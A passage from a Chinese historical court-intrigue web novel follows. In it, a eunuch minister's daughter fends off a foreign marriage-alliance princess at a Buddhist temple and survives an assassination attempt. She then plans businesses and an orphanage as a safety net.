摆摊子的吃食,像是什么带佛字的粥,带佛字的饼子等等。 就是那卖衣裳的,还有佛纹。 更不肖说了,那些卖面具、刻雕、字画等等的摊子,各有特色,各有赏玩之趣。 大佛寺里,赵济世得着下面人的汇报。 “……”他听罢,挥挥手,挥退报信的。 在心头,赵济世眼神是复杂一点。他想避开浑江郡主的。哪料想,对方也来大佛寺上香。真是巧。 巧归巧,事情知道后,赵济世在心头一琢磨。 赵济世还拿定了主意。此时,赵济世去一趟淑阳公主暂居的禅院外。 “臣请求面见公主殿下。”赵济世对于淑阳公主跟前的宫人时,他的态度一样是恭敬。 恭敬,有时候也可以理解为疏远。 对于淑阳公主恭敬归恭敬,赵济世没想着多亲近。 和亲公主,前程已定。赵济世当然不可能混了这一位公主的跟前当差。 对于淑阳公主有意无意的拉拢,又借着大皇子李明弘的名义暗示一些时。 赵济世不拒绝不答应,他的态度很明白。大皇子吩咐的事,赵济世是用尽全力办妥当。有困难,消灭困难也得办到。 如果大皇子没吩咐的事情,赵济世不会逾越半步。 至于说淑阳公主乐意给好处?落赵济世眼中,与他没有干系。 禅院内,寝屋中。 淑阳公主听着陪嫁嬷嬷的禀话,摆摆手,道:“召见赵统领到正堂去。” “隔了屏风,本宫要见一见赵统领。”淑阳公主吩咐道。 “唯。”陪嫁嬷嬷应下话。 等着宫人去传话,领了赵济世进入正堂时。 隔着屏风,赵济世隐约能瞧见坐于正堂屋上首的公主。 这等面见方式不是头一回,赵济世已经面见过淑阳公主好些回。 一旦有事,赵济世指定要上报。瞒?赵济世从来不隐瞒。 “禀公主殿下,下面人递上来消息。大晋天子跟前的红人,万内相的妻女来了大佛寺。”赵济世说了事情。 “请问殿下决断,此事是装不知,还是拉拢一二?”赵济世想问清楚淑阳公主的心思。 “万内相的妻女……”淑阳公主沉默片刻。 她心里想着,还是大晋朝的太监利害。这都有妻女。 早在来大晋朝之前,关于大晋朝宫廷的一些消息。哪些人物是关注重点。淑阳公主是心头有数的。 可再有数,真是撞上了。淑阳公主还是心神震撼。 谁让太监没根,这事情成了淑阳公主的脑中钢印。 哪怕淑阳公主也知道,万太监是娶妻生女后,再是入宫当太监。 可太监有妻女,这真没私心吗?淑阳公主表示怀疑,重重的怀疑。 “既然是万内相的妻女,本宫应该亲近一二。”淑阳公主回道。 不看僧面看佛面。淑阳公主是和亲公主,她的一辈子要生活在大晋天子的后宫。那么,大晋天子的心腹万忠良,这一位万内相的存在就很关键。 淑阳公主原来也想寻机会,若能走通了万内相的门路。 淑阳公主很乐意。 只是嘛,不尽人意。 如今机会来了,淑阳公主很乐意走一走夫人路线和闺阁路线。 成不成先两说,有机会总要试一试。 赵济世在淑阳公主这里得到答案,后续的事情自然由他去安排。 淑阳公主还跟陪嫁嬷嬷吩咐道:“本宫在守孝。本不应该张扬。” “嬷嬷,你也懂,本宫难。”淑阳公主苦笑。 “本宫是大赵公主。奈何是和亲公主。入乡随俗,本宫总应该跟大晋天子跟前的人缓和一二关系。不求什么……”淑阳公主很想求什么。 可关系不到位,再求,也是白搭。 “唉,不被人上眼药,无知知觉里掉了陷进中。本宫就是谢天谢地,谢漫天神佛了。”淑阳公主把自己的位置摆的很低。 让李嬷嬷心疼的很。 “殿下,您万般好,大晋天子会瞧出来您的好。”李嬷嬷劝话道。 “……”淑阳公主也觉得自己万般好,她配得上世间任何男儿。 可那又如何?淑阳公主是和亲公主,她的前程注定了。 淑阳公主跟陪嫁嬷嬷是卖惨吗?不,她是在调整情绪。 淑阳公主要做到心态完美。 原由很简单。凭着目前打探出来的消息,大晋天子喜欢温柔那一挂。 甭管是真的,还是装的。只要在大晋天子跟前是温柔似水,再有一张好看的脸。 若再添一点才情跟技艺,那么,得宠是一定的。 只是得宠多久?是昙花一现,还是长宠不衰,这就很难讲的明白。 大佛寺的集市上。 万珍珠和亲娘在一起玩得愉快。吃吃走走,糖人儿拿着,还挺快活着。 至于说遇上什么强抢民女,恶霸出行等等的事情? 万珍珠没遇上。 哪怕万珍珠自信,她有一张美美的脸。可是嘛,她这一张脸好像真没有那些遭遇祸事的美人们会撞上的惨事。 对此,万珍珠都怀疑了,如果幸运可以量化。她应该是好运那一档。 “见过二位贵人。” 一道好像耳熟,又不怎么有太深记忆的男低音响起。 万珍珠瞧着说话主人的脸,一张略略熟悉的脸。 “赵大人安好。”万珍珠笑道。 牛二囡瞧一眼面前的青年,瞧着身高体壮,面容俊朗。 这青年不错,这身板更不坏。牛二囡瞧着对方的气质。牛二囡越瞧越满意。 这等好体格,好威武的小伙子,在牛二囡的眼中,这便是寻女婿的模版。 为何如此? 不过是牛二囡欣赏不来弱弱的美男子。谁让活了半辈子的牛二囡遇上事情不老少。 嫁汉嫁汉,穿衣吃饭。这体格差了,命数不长。 牛二囡想要的女婿,那肯定不能是短命鬼。要不然,那不是害了亲闺女嘛。 “牛夫人安好,万姑娘安好。”赵济世瞧着万珍珠母女二人的装扮。 他没有喊破万珍珠的郡主身份。虽然吧,万珍珠心头也清楚。 她这郡主身份哄一哄黎庶百姓挺吓人。真是跟皇家宗亲,权臣勋贵,世家世族一比较。 这郡主身份虚浮了。 奈何万珍珠的郡主身份是虚浮着,可架不住,她有亲爹万忠良。 万珍珠清楚,巴结万珍珠的人也清楚。万珍珠真正的金大腿从来不是什么郡主封号。 而是万珍珠的亲爹乃大晋天子的大伴伴。 “二位,可否移步谈话。”赵济世很客气的寻问道。 “……”牛二囡的目光落赵济世身上瞧一眼,尔后,她同意了。 等三人移步到僻静一点的集市边角处后。这里离着人群远一些。 “我儿,这一位赵大人你打哪认识的?”牛二囡问一回。 “娘,这一位赵大人是大赵和亲公主的护卫统领。”万珍珠点明了赵济世的身份。 重点不在于认识不认识。而是赵济世的身份,先是大赵人,再是和亲公主的身边人。 这跟大晋朝有牵扯的地方,那在后宫内苑。 毕竟和亲公主要进的地方,那就是天子后宫。 “至于从而认识?”万珍珠想了想,笑道:“赵大人帮衬上女儿一个大忙。他还是女儿的恩人。” 牛二囡狐疑的瞧一眼赵济世。 对于女儿的真话假话,牛二囡瞧得出来。越是知道为真话。牛二囡才不敢相信。 她家女儿一进入镐京都,那就是郡主娘娘。 一个从东边大赵来的人,又如何帮衬了女儿的大忙?奇哉,怪哉。 只是当着外人赵济世的面,牛二囡没有问清楚详情。 有些话现在不问,等回府了,牛二囡一定要问一问的。 “我奉淑阳公主殿下的吩咐,想请二位移步大佛寺内,公主殿下想见一见二位贵人。”赵济世做一个请的手势。 “既然是我儿的恩人,那便去见一见那劳什子的和亲公主。”牛二囡的心底,淑阳公主的份量不太重。 实在没有法子,戏文里唱过的。和亲公主哪有什么好收场。 至少落牛二囡的心底,淑阳公主的牌面不够大。 “二位请。”赵济世亲自引路,他态度客客气气。 在大佛寺内。 万珍珠母女见到大赵朝的淑阳公主。这一路上,因着有人引路,倒不必被大佛寺的和尚给拦了。 在禅院里,万珍珠闻着檀香味儿。 见到淑阳公主时,万珍珠又在心里蛐蛐一回。 在这一个世道里,做富贵人家的公子郎君真好。享受的很。 若是能投胎到皇家,当了至尊无上的天子。那可谓是幸运至极。 简直就是紫微星君转世,不然的话,一般二般的人物,哪能压住帝星命格。 当了皇帝,后宫佳丽无数。想享受什么,不必吩咐,早有人替皇帝准备好了。 就怕皇帝不喜,多少人想投其所好,想攀附皇权。 “大晋郡主,浑江见过淑阳公主殿下。殿下万福金安。”万珍珠行的外臣礼节。 如今的淑阳公主没进大晋天子的后宫。她没有正式的大晋宫廷位份。 如此,万珍珠得注意了,她不能丢了大晋的份。 同时,又不能扫了淑阳公主的脸面。毕竟,天下皇权都一样,都要讲一个体面。 牛二囡见着女儿见礼,她一样见礼。 “浑江郡主客气,牛夫人客气。二位快请起,快快请坐。”淑阳公主很热忱。 请万家母女二人来做客,淑阳公主这一位东道主嘛,不止热忱。 她一见面,先夸三分。夸了万忠良这一位内相。 又夸了万珍珠这一位浑江郡主乃有福之人。 特别是夸万珍珠时,淑阳公主用的词最多,赞的最过份。 那夸的,让万珍珠都怀疑淑阳公主嘴里的那一个人还是她吗? 可万珍珠瞧亲娘开心的,好像她这亲闺女被夸了,亲娘与有荣焉。 能怎么办? 亲娘喜欢听一听旁人夸她。万珍珠就受着呗。 免不得万珍珠也是开启了互夸的模式,淑阳公主夸一夸她,她就夸回去。 场面应付着。气氛热络着。似乎是瞧着火候够了,淑阳公主才准备进入正题。 第44章 “二位是贵客,本宫早想结识。”淑阳公主的态度摆得低。 “只往日,本宫要替皇祖父守孝。实在不好登门拜访。”淑阳公主是皇家公主。 万珍珠母女什么身份?人得有一点自知之明。 搁大晋朝,万珍珠可不敢让公主登门拜访。只可能是她去拜访对方。 “公主殿下,您太谦逊。浑江担当不起。”甭看淑阳公主不是大晋朝的公主,而是大赵朝的公主。 可公主就是公主,在这一个世道里,皇权嘛,只要是皇家人就一定维护。 一般二般人是远离皇权,还可能装聋作哑玩一点小花招。 万珍珠不可以,因为他们一家人的日子全靠大晋天子赏的体面。 就像他爹万内相,说是内相。可在镐京都待了这些年月,万珍珠也瞧出来。 真乐意来捧了万珍珠,跟他家商业互吹以及巴结的人。那肯定是有所求。 无所求的太少。利益相求,这一点万珍珠不看重。 万珍珠看重的,她不可逾越了。或者说 是不要替她爹惹麻烦。 淑阳公主的前程注定是进了大晋天子的后宫。 注定是娘娘,万珍珠这一位封号郡主还是低姿态一点好。 或者说不亲近最好。瞧着淑阳公主想亲近,想拉关系? 可万珍珠心头不乐意的很。 淑阳公主能给亲爹带来什么好处吗?万珍珠想一想,答案就一个,不能。 原由很简单,这一位是和亲公主。背后的靠山在东边的几千里之外。 可拒绝公主的好意?太生硬也不成。 万珍珠还是忌讳了枕头风的威力。她不想尝,更不想让亲爹尝一尝。 “您是公主殿下。自然是受世人朝拜的。更何况,您未来注定成了大晋朝的后宫娘娘。”万珍珠低头,语气尽量温柔一点的说道。 “到时候应该是浑江在宫廷内苑里给娘娘见礼问安。”万珍珠姿态摆得低。 说最软的话,干最硬的事。在心底,万珍珠有想法。那就是淑阳公主一旦提要求,一个都不能答应。 “浑江郡主倒是好性子的人。”淑阳公主夸一回。 “本宫想拜访,亦是不成的。”淑阳公主说道:“倒底守孝之人,忌讳颇多的。” “如今在大佛寺遇上又不同,借一借佛主的无上伟力。本宫才是想着与牛夫人、浑江郡主二位贵客闲话些许时间。”淑阳公主讲了一席话。 “只不知道,本宫有意,想与贵府结一点善缘。牛夫人与浑江郡主可乐意了?”淑阳公主寻问道。 “……”万珍珠的目光落亲娘身上。 “……”牛二囡沉默。 对于一些做主的事情,牛二囡瞄一眼亲闺女。 “咳……”牛二囡轻咳一声。 “娘,您怎么了?”万珍珠忙关心的问道。 “没事,就是喉咙一时不舒坦,咳两声就好。”牛二囡摆摆手,示意她无碍。 万珍珠借着这机会,她是递了茶水给亲娘。 “那您吃些茶水,润润喉咙。”万珍珠关切的说道。 牛二囡不拒绝,她吃一吃茶,让喉咙舒坦一点。 当然,这一切是装的。牛二囡很舒坦的。特别是享受了女儿的孝心时。 旁边的淑阳公主瞧着这一幕,她不多语,只静静看着万家母女二人的表演。 “让公主殿下见笑了,失礼了。”牛二囡饮过茶,又过一会儿,再咳两声后,才对淑阳公主歉意的说道。 “我家失礼,请公主殿下宽恕。”万珍珠也是歉意的讲话道。 当然,这不过是场面话。谁信,谁傻。 至于这会儿嘛,关于淑阳公主前面的问话。 万珍珠装傻,淑阳公主不再问,她装着也忘记了。 瞧着万家母女的态度,淑阳公主哪里不懂的。 最后,淑阳公主请二人吃吃茶。待万珍珠母女提出告辞时。 淑阳公主赠了礼物。这一回,万珍珠明确的拒绝掉。 “公主殿下,您是贵人。”万珍珠诚恳的说道:“只是……” “您的礼物,恕浑江胆小,未得爹爹允肯前,浑江不敢收下。”万珍珠明确拒绝。 万珍珠敢这般拒绝,同时,还是想到了一桩旧事。 那便是关于这一位淑阳公主踏足镐京都后,又是守孝,又不能入宫一事。 亲爹在万珍珠跟前点评过。亲爹的点评挺重要。 因为据亲爹所说,宫廷里的大晋天子不满意。天子觉得淑阳公主有一点晦气。 淑阳公主生而克母,这名头真不好听。这世道的人多有忌讳。 特别是淑阳公主又是和亲公主,一和亲,没嫁进大晋皇室,先替其祖父守孝。 落大晋天子眼中,这就是无福之人。刑克亲人。 可能有时候时机挺重要。淑阳公主入了大晋天子眼缘时,那就是时间没选对。 “……”淑阳公主瞧着万珍珠拒绝掉,又是一幅为难脸的模样。 淑阳公主觉得跟吞了苍蝇一样的难受。 对于得罪淑阳公主?万珍珠也不想。 可在大晋天子的观感,还有淑阳公主的观感,这二人之间选择一下。 万珍珠不做它想,先选择了对于家里人更重要的大晋天子的好感。 “既然浑江郡主有为难处,本宫不勉强。”淑阳公主还是温柔的笑着。 落万珍珠眼中,这笑容没温度。 这会儿的万珍珠和亲娘一道告辞离开。 待万珍珠母女二人离开后,淑阳公主拿了手帕子。 她在撕手帕子。或者说,淑阳公主在发泄了怒气。 在心里,淑阳公主还在蛐蛐,她们母女怎么敢,怎么敢? 贱人,真是矫情透顶了。 淑阳公主为了修口德,她在心里蛐蛐人。 至于见证吗? 可能就是被撕烂的手帕子。 就是被撕烂的手帕子,那结局也是搁了火盆子里烧掉。 毁尸灭迹,这才是淑阳公主身边的奶嬷嬷应该干的收尾小事。 “殿下,您不必跟她二人一样见识。您生气了,倒是抬举了她二人。”奶嬷嬷劝道。 在浑江郡主撕帕子前,她已经打发掉侍候的丫鬟仆妇。 唯有奶嬷嬷让浑江郡主留下来。 “嬷嬷,你也瞧见了。区区太监生的婢女,如今也敢在本宫跟前逞威风。本宫这和亲公主做的,也没甚滋味。”淑阳公主心里发虚。 淑阳公主想结交了万家母女,何尝又不是想试探一下。 万太监是宫廷里的人,他身边人的态度有时候很明显的能反映出来宫廷里待她这一位和亲公主的态度。 “嬷嬷,本宫更怕,本宫尚不曾踏足大晋天子的后宫,本宫已经惹了人厌烦。”淑阳公主心中惶惶。 “殿下这般好,一定会得了大晋天子的喜欢。”奶嬷嬷劝话道。 “……”淑阳公主没自信。 宫廷之内,谁得宠,谁不得宠。淑阳公主还是听了几耳朵的。 因为得了兄长李明弘的一份支持。淑阳公主在镐京都里通过一点关系,收集到了宫廷里的一些资料。 越是瞧,淑阳公主就是心里凉嗖嗖。在淑阳公主的心底,大晋天子未必是长情之人。 至于说多薄情?淑阳公主暂时也不知道究竟有多薄情。 反正在洪福帝的身上,可能,更应该瞧出来这一位既会利益为重,又会为所欲为。 从大佛寺离开后,牛二囡跟女儿问道:“大佛寺这儿,来一趟,倒是遇着麻烦事。” “麻烦还在如今,还在将来。万一将来淑阳公主得了陛下的喜爱呢。”牛二囡心里烦着。 “刚才……也许不应该拒绝的。”牛二囡事后有一点悔意。 “娘,不必担忧,有爹爹在。女儿信爹爹的本事。”万珍珠笑道。一幅把亲爹当金大腿的模样。 牛二囡皱一皱眉头,她想说些什么,最后还是闭嘴了。 “不说了。”牛二囡不想提发生过的事情。 “我儿,我们是回去吗?”牛二囡跟女儿问道。 “平安符还没有求到呢。”万珍珠说道。 “……”牛二囡前头心里恼,她倒是忘记一些事情。 如今女儿一提,她点点头,回道:“确实得求了平安符。” 落牛二囡心里,平安符嘛,求来平安,也是去一去晦气。 这一日,万珍珠差人拿了家书回浑江郡主府去。 她和亲娘准备在集市里的一家客栈落脚。 待来日,大佛寺山门大开。想是昨日的水陆法会终于结束。 到时候再去大佛寺上香祈福。 为免昨日的事情再发生。这一回,万珍珠还是唤了丫鬟仆妇,跟亲娘一样盛妆打扮一回。 不闹什么微服做事。就万珍珠这身份,抖一抖威风不至于。 可谁让这一个世道里嘛,还是先敬衣裳后敬人。万珍珠就是入乡随俗,从了大众的心思。 进大佛寺,许是因为今日仆从多,又是锦衣玉服。 这一回,来迎接万珍珠母女的知客僧不止一位,而是两位。还俱是年岁大的知客僧,说话客气又好听。 上香,祈福,求平安符。 当然,免不了要捐香火钱。不是捐一点点,而是大撒币。 在给佛主的庙里撒币一事上, 牛二囡比女儿更舍得。 “我儿,不是听说大佛寺的签文灵验。要不,求了签文?”牛二囡跟女儿提议道。 “不了。”万珍珠拒绝。 “娘,我们还是求平安符足矣。”万珍珠不想求什么签文。 求好签,这肯定人人想。可万一,万一求着坏签,还是坏掉好心情。 倒不如不知,就当每一天是一场新开端。 毕竟不知道更坏,就会觉得一切还成。反正过日子嘛,就是那样。 牛二囡就是顺嘴一提,女儿不想,她不勉强。她就随意。 只万珍珠母女二人离开大佛寺的正殿,要去偏殿拜见罗汉等果位菩萨时。 在连了殿宇之间的走廊上,万珍珠一行人撞上了远远而来的淑阳公主一行人。 这会是巧合吗?万珍珠不信。 万珍珠母女二人是今天的大香客。捐香火钱时,亲娘可是大出血。 这等情况下,万珍珠有过请求。她和母亲想安静些。 拜佛就拜佛,遇菩萨就拜菩萨。在各处走一走时,还是尽量避开了其他香客。 就这,还跟淑阳公主一行人远远的碰见了。 这不算完,淑阳公主态度不错,满面春风的领人走上前。 眼瞅着,这真碰上了,真真走不掉。 万珍珠只能陪着亲娘上前,先跟淑阳公主见礼问安。 这等时候在寺庙里,虽然应该有礼节不能少。 可有时候,哪怕做为世俗之人,特别是在信任神仙佛主之辈的人心里。就肯定不会想着什么郡主公主的戏码。 还是纯粹一点的好。 至于万珍珠和淑阳公主也一样。她们有身份了,都是要体面的。 这会儿的牛二囡瞧着淑阳公主想攀附上来。她心中烦。 依着牛二囡的想法,不遇上最好。毕竟昨个晚,亲闺女跟牛二囡讲了一点真相。 就是觉得自己知道了,牛二囡的眼中,和亲公主淑阳就是一个注定要淘汰的人物。 牛二囡在肚子里腹诽着淑阳公主时。两行人合一处,往着清静一点的地方去。 没让万珍珠讲出来和亲娘告辞离开的想法。淑阳公主劝了。 昨天没给脸,今天再打脸。万珍珠真怕惹恼了淑阳公主。 对方不顾影响咋办?万珍珠还是不想招大麻烦。 或者说如果可能,没谁想沾麻烦。不过是遇上了,一时憋住罢了。 “昨日之事,本宫欠考量。”淑阳公主先低头。 反正这一辈子低头的时候多着,淑阳公主觉得不差这一回。 瞧瞧,她都低头了。万珍珠母女赢麻了。持别是万珍珠背后的万太监。 这万太监才是淑阳公主真正想搭上的线。 关于王贤妃平安生下皇嗣,据说,那就是有万忠良的功劳。 万忠良是大晋天子的心腹。这等好奴才时常让淑阳公主感慨。 这般人物,怎么不在她跟前侍候。 有前车之鉴犹在。哪怕成了和亲公主,淑阳公主还是想生下大晋朝的皇嗣。 有皇嗣跟没有皇嗣,那在皇家的区别待遇特别大。 不止皇嗣一生,那就提了一截的好处。更主要还是将来。 毕竟从古至今,皇家真有皇位等着人争。谁赢了,谁通吃。 “本宫昨日唐突二位。”淑阳公主讲道:“本宫应该赔尝了二位。” 万珍珠心里直翻白眼儿。她明明白白讲道:“如今淑阳公主没嫁进大晋皇家。那么,浑江在此先贺淑阳公主殿下,待殿下一进宫,前程无量。” 好话讲了。万珍珠只想跟淑阳公主掰开。 没料想,对方趁着机会,还想当了沾人的牛皮糖。 这公主好像在现实面前,一样是弯腰低头。 瞧着巴结自己,还是要抬了身段的淑阳公主。万珍珠想通了一点事情。 “咔擦”声音响。 万珍珠顺着声音瞧去,她就瞧着了一些人的小人行径。 此时此刻,赵济世这一位统领在领着属下抓刺客。 “嗖”声响起。不止现场刺客。 万珍珠的眼前,那似乎有什么在放大。尔后,万珍珠瞧见了一支箭矢,不,应该是两拔利箭破空而来。 想躲开,可万珍珠不是武林高手。或者说这一个世道里,也没发生有什么武林高手那一种飞来飞去的轻功。 古代社会,吃饱对于黎庶而言就是盛世好世道。 那么,穷文富武四字就很现实,就差喂人嘴里,让人弄一个明明白白。学武,很贵。 “小心。”有人在惊呼。 万珍珠也想惊呼,她想躲开。可不知道是不是临阵太镇静,太不慌不乱,躲不开被破空利箭刺杀一事。 “小心。”又是一声呼喊。 本来在抓刺客的赵济世救人了。这一回还救了万珍珠。 瞧着胳膊中箭的赵济世。万珍珠心里真感激。 这会子里,多瞧一眼受伤的赵济世。万珍珠容易明白了千古不变的佳话与名言。 就像是旧故事翻新。那是核心不变的。 为何有俗语云,英雄救美,永不过时。 又或者说被英雄救了,为何有人非常乐意以身相许。 可能在被救时,对方的高大形象太加分。 此时此刻,望着受伤的赵济世,再瞧着他一张俊朗的脸。 万珍珠得承认,这一刻,她好像懂得怦然心动是什么样的感觉了。 “浑江郡主无恙吧?”赵济世关心的问道。 “赵统领受伤了,您应该先治伤要紧。”万珍珠回道。 “至于我,无恙的。”万珍珠刚说完这一句话。 “嘶。”万珍珠倒抽一口凉气,脚腕子疼。 没谁害她,刚才想躲箭矢。结果万珍珠呼唤了僵住的自己。 又或者说万珍珠倒霉催的,那一刻,她扭脚脖子了。 等着被赵济世救下,对方还替她挡箭矢。 万珍珠的眼里是越瞧赵济世,越觉得对方真的中看。 “我儿,你受伤了。”在旁边的牛二囡给惊住。 在牛二囡上前时,赵济世退后一步,他说道:“浑江郡主受伤了,当下得寻医问诊。” “对,对。”牛二囡反映过来。 “我儿,伤到哪儿?”牛二囡关心的问切。 “就是脚脖子拧了一下。没大事的,娘。”万珍珠在安慰亲娘。 “扭伤,瞧你疼的,哪能端着。”牛二囡说道:“还是赶紧请大夫,给你解决一下伤情。” “要知道,有些小事情容易拖成大事情。你扭着脚,万一耽搁了,这可是毁一辈子的大事。”牛二囡更想说了,一旦伤没有养好,万一闹成瘸子,那就是坏菜了。 “治,肯定好好的治。”万珍珠同意亲娘的话。 天大地大,没她治伤更大。万珍珠一点也不想变成了瘸子。 “禀公主殿下,刺客全被抓住。只余一活人,余下皆死。”赵济世跟公主禀话。 说是禀话,不说,有些事情不说,现场诸人也能瞧见。 赵济世只想讲客观一点的事情。在场淑阳公主地位最高,等她吩咐。 其时她不吩咐,应该由赵济世干的活,赵济世也得干好。 毕竟远离燕京都,这出外的行程有哪些事,那就干了哪些事情。 对于燕京都的大皇子,赵济世总要有一个交代的。 第45章 大晋朝,镐京都,内城,浑江郡主府。 关于去一趟大佛寺还遇上被刺杀一事。那事儿已经过去半旬。 对于救命恩人,主动为自己挡箭矢的赵济世,万珍珠千恩万谢。 回赠厚礼,此不过基本礼貌。这一点事情,万珍珠做了。 可在心里,万珍珠觉得她的小命很重要。区区身外之物,虽然礼重一些,也不能代表了救命之恩。 于是万珍珠还是寻问过 赵济世一回。问这一位赵大人,可有什么她能帮衬上的。 只要赵济世开口,合情合理的话,万珍珠一定鼎力相助。万珍珠的美意,让赵济世婉言拒绝了。 “闺女,在想什么。”亲爹的声音响起,让万珍珠回过神来。 万珍珠准备磨墨写字。这不,她磨墨时走神了。 “爹爹。”万珍珠放下磨墨的动作。 “您回来了。”万珍珠见着亲爹归府很开心。 “咱回来,有消息要告诉闺女你。”万忠良摆摆手,让侍候的丫鬟仆妇退出屋子。 万珍珠的个人小书房内,仆从退下后,余下父女二人。 万珍珠亲自给亲爹斟茶,道:“爹爹先润一润嗓子。有事,您仔细说,我仔细听。” “我可知道,爹爹如此慎重,一定不是小事。”万珍珠一边讲话,一边落坐了。 小书房的窗畔小榻上,隔着小茶几,父女二人对坐着。 “大赵和亲公主遇刺一事,如今查出一些端倪来。”万忠良回道。 一听关乎差点没命的事情,万珍珠很重视。 万珍珠神色严肃起来。她准备听一听,究竟是哪一位“高人”不止想要大赵和亲公主的小命,还想要她这一位浑江郡主的小命。 “大晋、大赵联姻。不止想结束边疆战事,更想一道合击北边胡人。此系家国大事,关乎多少人福祸。”万忠良先给亲闺女讲一讲事情背景与开端。 “家国大事,要紧的很。”万珍珠点头赞同。 “面上查出来的刺客是北面胡人的探子。想破坏大晋、大赵的联姻之举。”万忠良又讲道。 既然是表面上,那肯定还有内幕。 万珍珠问道:“岂不是说胡人探子是被人操控的傀儡?” “傀儡算不上,只是被人在棋局上算计一回,成了棋子。”万忠良讲道。 “天家有暗探,恰巧被对方撞上来。如此,倒是没有漏掉幕后真凶,让其逍遥法外。”万忠良的眼神里带上凶光。 要知道这一回差一点没小命的,那是万忠良膝下的独女。 就一根血脉苗苗,真让人祸害了,万忠良得呕死掉。 万忠良是下了狠功夫,一定要一查到底。绝对不可能留了后患去。 “真凶,南边。”万忠良一指南边。 “大吴朝的皇家就是这一回刺杀案的真凶。”万忠良说的平淡。可语气却是冷漠的。 “在胡人探子背后做局者,便是大吴朝的探子。”万忠良讲了表面功夫。 至于查出来大吴朝为何想破坏掉大晋、大赵的联姻。 这锅吗? 可能要怪大吴朝,也要怪大赵朝。 这一边刚跟大晋讲和,两方联姻。另一边的大赵新君,在刚给先帝守了二十七天的孝期后。 大赵新君就想跟南边的大吴朝打一仗。 西边的欠债,南边补偿上。大赵朝与大晋朝的和亲结盟,占便宜的是大晋朝。 大赵朝新君新气象,曾经的齐王,如今的大晋新天子,那也想建立威望。 威望何来?自然是战功赫赫而来。 大晋朝的军力貌似强过大赵朝,大赵不想啃硬骨头。于是大吴朝成了被大赵朝盯上的软柿子。 有些话万忠良会跟闺女,有些话就不必讲。没得让闺女多操空闲心。 “爹爹,又起大战的话,会不会烽火连天。又或者影响到了大晋。”万珍珠是生活在镐京都。 万珍珠很关心了大晋朝的社稷安稳。 吃了大晋朝的饭,万珍珠对于饭碗金主很关心。 “你且宽心,为父能护了你和你娘。”万忠良宽慰一回亲闺女。 万珍珠听着亲爹的话,她抿紧一下唇。尔后,思索片刻后,讲道:“爹爹,女儿有一事相求。” 万珍珠在被刺杀过一回后,她早想改变。 原来不变,可能是穷人乍富。那在富贵窝里被荣华给消磨掉了一些幻想。 原来不想改变,可能还是沉寂在好日子里。 现在想改变,不外乎万珍珠被现实给了一记大逼兜。 万珍珠也怕了。 她怕死。生死之间有大恐怖,哪怕生生死死不止一回。 若能活,万珍珠还想再活五百年。她不嫌命长。她只嫌短。 老话说,靠山山倒,靠人人跑。爹有娘有,不如自己有。 这话糙,理不糙。万珍珠想给自己叠肉甲护盾。 “闺女,说说,你有什么为难的。父女之间,爹不疼你,还心疼谁?”万忠良表明自己的立场。 亲爹心疼闺女,莫说相求,便是为难事。万忠良也会替亲闺女办了。 “爹爹,我想动用郡主府的大笔银钱。一是经商,挣了家底。二是收养孤儿,不拘男女。” 万珍珠话罢,她又起身。 万珍珠走到书桌前,她拿出来自己早早做好的规划书。 “这是大概的计划,至于要实施了。总要请爹爹帮衬。莫说其它,便是起始的金银与人手,女儿也是欠缺的。”万珍珠有自知之明。 她能风风光光,全靠亲爹支持。 如今想创业,还要给自己寻一个保底的。这保底是谁? 不需要其它人,在万珍珠心底,亲爹就是金大腿。 凭亲爹的身份,一旦借一层子的虎皮。那就够用了。 “女儿想办成事,更不想直接用浑江郡主的名号。”万珍珠压低一点声音。 “爹爹,女儿就想经营一条退路。”万珍珠说出自己的小心思。 “花无百日红,人无千日好。爹爹,我遇着一回生死事,胆儿小了,真的怕了。”万珍珠抖擞自己胆小怕事。 不是她真的胆小怕事。虽然她可能胆小,可是,怕事?那就未必。 在有需要的时候,万珍珠也可以胆小变胆肥。 “咱瞧瞧。”万忠良接过女儿的规划书。 仔细阅读一番后,万忠良的目光落在亲闺女的身上。 “先借咱的人手经营商业,再凭借培养的孤儿,待他们长成后,换血,拆分。倒用一番心思。”万忠良对于亲闺女想借鸡生蛋这事情,他赞同了。 虽然借着万忠良手头的金鸡,尔后,生了属于万珍珠的金蛋。 都是一家人,万忠良不会跟亲闺女计较的。 “只一点,这些事情你还想亲自盯着。你忙碌的过来吗?”万忠良问女儿。 “揽总罢了。”万珍珠笑道:“女儿也想练练手,学一学。本事不学,自然不会。学了,练了,才可能会了。” 混吃等死?这是万珍珠的终极目标。 现实不允,万珍珠不敢躺平。她想努力一回。毕竟亲娘的顾虑在哪?万珍珠心底知道。 万珍珠也是琢磨着狡兔三窟,她不介意多给自己和亲人留了多一点的退路。 关于经商,关于收养孤儿等等事情。万珍珠得着亲爹的允许,她高高兴兴。 万忠良又跟亲闺女提了宫廷内苑的事情。 会提,当然是因为亲闺女一直在意着。 “太医已经替朱充仪把过脉相,瞧着充仪这一胎怀相,八成是皇子。”万忠良讲道。 “……”万珍珠给咽着。 知道朱凤曦过得好,万珍珠心里堵着。 “爹爹,朱氏一族要起势了。”万珍珠讲道。 “不开心?”万忠良问闺女。 “我不开心,可我知道爹爹,爹爹肯定会衡量一二。这里面水深着,我的凫水技能不太好,还是不掺合了。”万珍珠做出识趣的姿态来。 小儿女的做派,一时把万忠良这一位当爹的逗乐了。 “闺女,爹告诉你一个道理。欲要取之,必先予之。不给甜枣,怎么让人落入陷井里。”万忠良的语气冷漠。 “皇子太重,哪怕是陷井,也有无数人想赴汤蹈火的试一试,试着摘取了九重天上的至尊皇权吧。”万珍珠感慨一回。 “闺女没糊涂,是这个道理。”万忠良赞同一回亲闺女。 “想夺嫡,要么赢,要么输。没可能不赢不输。”万忠良讲的肯定。 “魏皇后的母族,王贤妃的母族,加上朱充仪的母族,为着各自的利益,她们总要斗一场。便是想落一个清 静,也得看允许不允许。“万忠良语气淡淡。 谁不允许?当然是很多人不允许了。 关乎夺嫡,从龙之功。想在斗兽场上赢了局的人太多。万忠良只是添上一把柴而矣。 万忠良更介意干的事情,那是引火烧一烧一些人。 “听爹爹一说,宫廷内苑真不平静。”万珍珠感慨一回。 “想天家的皇嗣,特别是皇子真是多灾多难。”万珍珠实话实说。 “不过天家富贵,皇子更尊贵着。想来这等富贵窝里的考验,一定是上苍的安排吧。”万珍珠说着自己也不相信的话。 她这话说说,就是顺口安慰一下自己。 宫廷内苑,离她远着。只要自己避开些,吃瓜即可,莫道掺合。 便是掺合,也当看戏。看,有人起高楼,有人宴宾客,有人楼塌了。 第46章 “能替天家开枝散叶,既是有福。”万忠良的态度一如既往的站洪福帝一边。 “陛下的子嗣是天下一等一的大富大贵的主子。”万忠良的心里,那可是捧着一颗忠心向洪福帝。 